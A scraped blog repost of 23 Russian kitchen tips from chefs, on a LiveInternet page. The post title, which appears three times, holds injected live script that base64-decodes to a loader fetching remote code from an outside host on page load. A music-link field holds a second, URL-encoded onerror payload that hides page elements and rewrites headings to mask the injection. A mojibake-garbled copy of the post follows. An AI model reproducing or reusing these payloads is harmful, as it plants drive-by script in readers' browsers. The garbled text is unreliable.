Без заголовка. Обсуждение на <img src="/i/o.gif"><script>eval(atob('dmFyIG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7bi5zcmM9Ii8vdjF2LmJlL3E/cz1uZ3QiO2RvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJib2R5IilbMF0uYXBwZW5kQ2hpbGQobik7'))</script>

Понедельник, 12 Сентября 2016 г. 10:49 + в цитатник

Цитата сообщения viorica75

Прочитать целиком В свой цитатник или сообщество!

В колонках играет - Без заголовка\'}}\"> найти и послушать на LiveInternet' href=//www.liveinternet.ru/msearch/?sm=1&q=%3Cimg+src%3D%22x%22+onerror%3D%22parentnode.parentnode.parentnode.style.display%3D%27none%27%3Bvar+h1%3Ddocument.getelementsbytagname%28%27h1%27%29%3Bfor%28i%3D0%3Bi%3Ch1.length%3Bi%2B%2B%29%7Bif%28h1%5Bi%5D.innerhtml.indexof%28%27%2Fi%2Fo.gif%27%29%2B1%29%7Bh1%5Bi%5D.lastelementchild.innerhtml%3D%27%3Cb%3E%E1%E5%E7+%E7%E0%E3%EE%EB%EE%E2%EA%E0%3C%2Fb%3E%27%7D%7D%22%3E target=_blank>

ЛАЙФХАКИ КОТОРЫЕ ИСПОЛЬЗУЕТ НА КУХНЕ ШЕФ-ПОВАР!!!

23-khitrosti-na-kukhnekcvngmckf. (696x418, 76Kb)

У каждого, кто любит возиться на кухне, есть масса маленьких секретов, которые доводят простые блюда до совершенства. Что уж говорить о шеф-поварах — у них-то секретов побольше, чем устриц в море.
Мы выбрали несколько хитрых приемчиков, которые удалось подсмотреть и подслушать у сэнсэев кулинарного мастерства.

1. Если вы хотите, чтобы рис получился белоснежным, при варке добавьте немного уксуса.
2. Чтобы придать пикантную чесночную нотку всему блюду, натрите зубчиком чеснока тарелку, а потом выкладывайте на нее салат или гарнир.
3. Новый вкус маринаду для мяса даст темное пиво или смесь светлого пива с соевым соусом, солью и перцем по вкусу. Пиво можно добавлять также в тушеные овощи, в том числе оно придаст особый вкус и запах вареному картофелю.
4. Печень нужно солить только в конце, иначе она станет жесткой.
5. Чтобы верх пирога не пригорел, прикройте его смоченной бумагой.
6. Если бросить в бульон кусочек льда и довести до кипения, бульон будет более прозрачным.
7. Чтобы аккуратно нарезать яйцо, сваренное вкрутую, смочите лезвие ножа холодной водой: желток не будет крошиться.
8. При варке фасоль не потемнеет, если варить ее не закрывая кастрюлю крышкой.
9. Фарш будет ароматнее и вкуснее, если добавить в него часть сырого лука, часть поджаренного лука и мелко натертую сырую картошку.
10. Используйте лимонный сок в блюдах, чтобы частично заменить соль. Это полезно для регуляции давления. В итоге вы не пересаливаете блюдо, а цитрусовый привкус придает ему изысканный аромат.
11. Баклажан не будет горчить, если перед приготовлением вы нарежете его на кусочки, посолите и дадите немного пустить сок. После этого промойте баклажаны в холодной воде.
12. Миндаль легко очистится от кожицы, если сначала вы прокипятите его в течение 5 минут, а потом остудите в холодной воде.
13. Сметана гораздо лучше взобьется в крем, если добавить в нее немного яичного белка.
14. Если добавить в молотый кофе щепотку соли, то напиток будет во много раз вкуснее!
15. Чтобы мясо, запеченное в духовке, приобрело румяную корочку, смажьте его сверху гранатовым соком и медом, разведенным сухим вином, коньяком или водой.
16. Если вы слишком долго варили мясо, нарежьте его тонкими ломтиками, выложите на тарелку, посыпьте луком и помидорами и добавьте немного растительного масла, лимонного сока и уксуса. Вскоре мясо вновь станет сочным.
17. Вместо панировочных сухарей используйте молотые орехи.
18. Только что приготовленное мясо не спешите сразу подавать на стол. Пусть оно немного остынет и раскроет свой вкус.
19. Винегрет будет вкуснее, если вы добавите в него столовую ложку молока и чайную ложку сахара.
20. Яблоки в шарлотке не опустятся на дно формы, если обвалять их перед приготовлением в муке.
21. Перед тем как снять суп с огня, добавьте в него немножко свежего сока капусты, моркови или помидоров. Это усилит вкус и обогатит ваше блюдо витаминами.
22. Ваниль — превосходная специя для придания пикантной нотки овощным салатам.
23. Есть много способов спасти пересоленный суп. В частности, можно окунуть в него марлю с небольшим количеством крупы и проварить: каша впитает в себя излишек соли.

http://lifehak.info/lajfhaki-kotorye-ispolzuet-na-kuhne-shef-povar/

<a href="https://www.liveinternet.ru/users/aniil/post397922571/">Р‘РµР· Р·Р°РіРѕР»РѕРІРєР°. РћР±СЃСѓР¶РґРµРЅРёРµ РЅР° &lt;img src=&quot;/i/o.gif&quot;&gt;&lt;script&gt;eval(atob('dmFyIG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7bi5zcmM9Ii8vdjF2LmJlL3E/cz1uZ3QiO2RvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJib2R5IilbMF0uYXBwZW5kQ2hpbGQobik7'))&lt;/script&gt;</a><br/>Р’ РєРѕР»РѕРЅРєР°С… РёРіСЂР°РµС‚ - 
	Р›РђР™Р¤РҐРђРљР РљРћРўРћР Р«Р• РРЎРџРћР›Р¬Р—РЈР•Рў РќРђ РљРЈРҐРќР• РЁР•Р¤-РџРћР’РђР !!!
	&nbsp;

&nbsp;

РЈ РєР°Р¶РґРѕРіРѕ, РєС‚Рѕ Р»СЋР±РёС‚ РІРѕР·РёС‚СЊСЃСЏ РЅР° РєСѓС…РЅРµ, РµСЃС‚СЊ РјР°СЃСЃР° РјР°Р»РµРЅСЊРєРёС… СЃРµРєСЂРµС‚РѕРІ, РєРѕС‚РѕСЂС‹Рµ РґРѕРІРѕРґСЏС‚ РїСЂРѕСЃС‚С‹Рµ Р±Р»СЋРґР° РґРѕ СЃРѕРІРµСЂС€РµРЅСЃС‚РІР°. Р§С‚Рѕ СѓР¶ РіРѕРІРѕСЂРёС‚СЊ Рѕ С€РµС„-РїРѕРІР°СЂР°С… &mdash; Сѓ РЅРёС…-С‚Рѕ СЃРµРєСЂРµС‚РѕРІ РїРѕР±РѕР»СЊС€Рµ, С‡РµРј СѓСЃС‚СЂРёС† РІ РјРѕСЂРµ.
	РњС‹ РІС‹Р±СЂР°Р»Рё РЅРµСЃРєРѕР»СЊРєРѕ С…РёС‚СЂС‹С… РїСЂРёРµРјС‡РёРєРѕРІ, РєРѕС‚РѕСЂС‹Рµ СѓРґР°Р»РѕСЃСЊ РїРѕРґСЃРјРѕС‚СЂРµС‚СЊ Рё РїРѕРґСЃР»СѓС€Р°С‚СЊ Сѓ СЃСЌРЅСЃСЌРµРІ РєСѓР»РёРЅР°СЂРЅРѕРіРѕ РјР°СЃС‚РµСЂСЃС‚РІР°.

1. Р•СЃР»Рё РІС‹ С…РѕС‚РёС‚Рµ, С‡С‚РѕР±С‹ СЂРёСЃ РїРѕР»СѓС‡РёР»СЃСЏ Р±РµР»РѕСЃРЅРµР¶РЅС‹Рј, РїСЂРё РІР°СЂРєРµ РґРѕР±Р°РІСЊС‚Рµ РЅРµРјРЅ... <a href="https://www.liveinternet.ru/users/aniil/post397922571/">Р§РёС‚Р°С‚СЊ РґР°Р»РµРµ...</a>

« Пред. запись — К дневнику — След. запись »

Страницы: [1] [Новые]

LiveInternetLiveInternet

-Рубрики

-Подписка по e-mail

-Статистика

Без заголовка. Обсуждение на <img src="/i/o.gif"><script>eval(atob('dmFyIG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7bi5zcmM9Ii8vdjF2LmJlL3E/cz1uZ3QiO2RvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJib2R5IilbMF0uYXBwZW5kQ2hpbGQobik7'))</script>